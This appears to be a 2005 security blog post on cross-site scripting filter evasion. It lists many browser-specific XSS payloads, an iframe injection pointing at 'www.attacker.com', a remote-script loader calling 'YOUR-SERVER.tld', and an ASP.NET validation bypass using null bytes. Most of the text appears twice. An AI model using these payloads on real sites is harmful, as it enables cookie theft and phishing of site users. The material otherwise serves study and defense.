Wednesday, October 05, 2005
case in point #2
Cross Site Scripting (or XSS) can be used in some serious attacks. In fact XSS was a hot topic for debate when advisories started popping out, and some people didn't really _get_ the problems it could cause. Who thought client-side browsers could be so dangerous! of course, web browsers can't be blamed -- it's all part of the javascript engine.
I remember around that time security folks questioned the validity of XSS attacks, sites like www.cgisecurity.com (then, ran by a friend of mine zenomorph) started releasing very detailed attack examples using hex'd XSS injections, cookie stealing, and so on. People started getting the idea, and thus exploitation began!
Now fast forward from 2000ish, and we'll see that XSS attacks are still common and programmers are still making those same programming mistakes. But now, instead of just stealing sessions or cookies, it can be said that spammers and phishers are using XSS attacks to assist them. Phishers especially are using XSS holes recently found on sites like eBay, and PayPal, to assist them in tricking users of said sites into giving up login credentials -- in the form of redirections, or loading of evil remote site javascript files.
I'd like to showcase some interesting evasion techniques I've found in the wild. Some of them I found on my own, others come from RSnake's awesome research into XSS attacks.
I found that there are a lot of different XSS techniques for different browsers. The reason why the techniques work on one or most web browsers, instead of all, is because of coding practices behind the web browsers. The developers decided to follow protocol, or not, or just disabled features.
Lets look at the obvious XSS that works universally:
"><script>alert("xss")</script><!--
It's a basic XSS attack, in fact it adds a few features like closing any preciding tags, and commenting the superceding site code. It also works on all browsers because it's basic javascript -- it follows protocol. However even the most basic of filtering systems (or server configurations) may use functions like addslashes() which I've seen in a lot of cases.
So, how would one be able to evade the addslashes() function and still be able to execute across most to all browsers? using the iframe feature. The following is an example:
"><iframe src=http://www.attacker.com></iframe>
The iframe injection XSS technique actually passes through addslashes() safely because there are no null bytes, single or double quotes in it.
If the target site has no filtering, but you need to target only a specific group of users -- by browser, then you can use the following examples:
I've noticed the last example works amazingly well in many oddball situations. I found it on RSnake's site, and think it's pretty cool. It works on the three mentioned browsers and who knows how many others. I also see that it has the potential to bypass many badly coded filtering systems out there. addslashes() kills it, due to the quotes, though.
Recently I discovered an odd occurance with ASP.NET servers. As some may know, ASP.NET does filtering on incoming variables for all sorts of attacks; XSS in my case. Once I attempted to inject any sort of XSS attack it errored and displayed a message about the danger potential the arbitrary code may have. So, by playing with a null byte, and new line feeds I was able not only to inject a XSS attack but also bypass ASP.NET's security mechanism. The following are screen shots of the attack:
First, we see the reaction the server had to my injection:
Now the following screen shot references a sophisticated XSS attack. I figured out that if I entered a null byte (%00) after a valid page ID integer (27 in this case, or whatever really) I could inject a new line feed(%0a), alert(), another newline and finally set a null variable to fix the Javascript code I broke while injecting my XSS attack in the first place. And voila, a neat XSS attack! Now, here's the odd part -- if I removed the null byte from the equasion the entire attack becomes unsuccessful.
Now, the attack on this target site became successful because of several reasons. 1) the developer outputs the page ID in a javascript evaluation. and 2) ASP.NET allows null byte's and other hex'd ascii representation to be executed.
Until next time! ¶ 10/05/2005 02:10:00 AM
I remember around that time security folks questioned the validity of XSS attacks, sites like www.cgisecurity.com (then, ran by a friend of mine zenomorph) started releasing very detailed attack examples using hex'd XSS injections, cookie stealing, and so on. People started getting the idea, and thus exploitation began!
Now fast forward from 2000ish, and we'll see that XSS attacks are still common and programmers are still making those same programming mistakes. But now, instead of just stealing sessions or cookies, it can be said that spammers and phishers are using XSS attacks to assist them. Phishers especially are using XSS holes recently found on sites like eBay, and PayPal, to assist them in tricking users of said sites into giving up login credentials -- in the form of redirections, or loading of evil remote site javascript files.
I'd like to showcase some interesting evasion techniques I've found in the wild. Some of them I found on my own, others come from RSnake's awesome research into XSS attacks.
I found that there are a lot of different XSS techniques for different browsers. The reason why the techniques work on one or most web browsers, instead of all, is because of coding practices behind the web browsers. The developers decided to follow protocol, or not, or just disabled features.
Lets look at the obvious XSS that works universally:
"><script>alert("xss")</script><!--
It's a basic XSS attack, in fact it adds a few features like closing any preciding tags, and commenting the superceding site code. It also works on all browsers because it's basic javascript -- it follows protocol. However even the most basic of filtering systems (or server configurations) may use functions like addslashes() which I've seen in a lot of cases.
So, how would one be able to evade the addslashes() function and still be able to execute across most to all browsers? using the iframe feature. The following is an example:
"><iframe src=http://www.attacker.com></iframe>
The iframe injection XSS technique actually passes through addslashes() safely because there are no null bytes, single or double quotes in it.
If the target site has no filtering, but you need to target only a specific group of users -- by browser, then you can use the following examples:
Opera:
I've noticed this following XSS attack is only executed automatically by the Opera web browser, while Internet Explorer and Firefox do not do so:
<IMG SRC=javascript:alert("XSS")>
Internet Explorer:
Here are only a few examples of _many_ that execute only in Internet Explorer:
<IMG SRC="jav ascript:alert('XSS');">
<IMG DYNSRC="javascript:alert('XSS')">
<IMG LOWSRC="javascript:alert('XSS')">
<BGSOUND SRC="javascript:alert('XSS');">
<IMG SRC='vbscript:msgbox("XSS")'>
Firefox:
I've noticed that Firefox doesn't really have many or any Firefox-specific XSS attacks.
Internet Explorer and Opera:
<IMG SRC="jav ascript:alert('XSS');">
<IMG SRC="jav ascript:alert('XSS');">
<IMG SRC=" javascript:alert('XSS');">
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">
<TABLE BACKGROUND="javascript:alert('XSS')">
<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}
Internet Explorer and Firefox:
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
Internet Explorer, Firefox, and Opera:
<IFRAME SRC="javascript:alert('XSS');">
<SCRIPT>document.write("PT SRC="http://YOUR-SERVER.tld/a.js">
I've noticed the last example works amazingly well in many oddball situations. I found it on RSnake's site, and think it's pretty cool. It works on the three mentioned browsers and who knows how many others. I also see that it has the potential to bypass many badly coded filtering systems out there. addslashes() kills it, due to the quotes, though.
Recently I discovered an odd occurance with ASP.NET servers. As some may know, ASP.NET does filtering on incoming variables for all sorts of attacks; XSS in my case. Once I attempted to inject any sort of XSS attack it errored and displayed a message about the danger potential the arbitrary code may have. So, by playing with a null byte, and new line feeds I was able not only to inject a XSS attack but also bypass ASP.NET's security mechanism. The following are screen shots of the attack:
First, we see the reaction the server had to my injection:
Now the following screen shot references a sophisticated XSS attack. I figured out that if I entered a null byte (%00) after a valid page ID integer (27 in this case, or whatever really) I could inject a new line feed(%0a), alert(), another newline and finally set a null variable to fix the Javascript code I broke while injecting my XSS attack in the first place. And voila, a neat XSS attack! Now, here's the odd part -- if I removed the null byte from the equasion the entire attack becomes unsuccessful.
Now, the attack on this target site became successful because of several reasons. 1) the developer outputs the page ID in a javascript evaluation. and 2) ASP.NET allows null byte's and other hex'd ascii representation to be executed.
Until next time! ¶ 10/05/2005 02:10:00 AM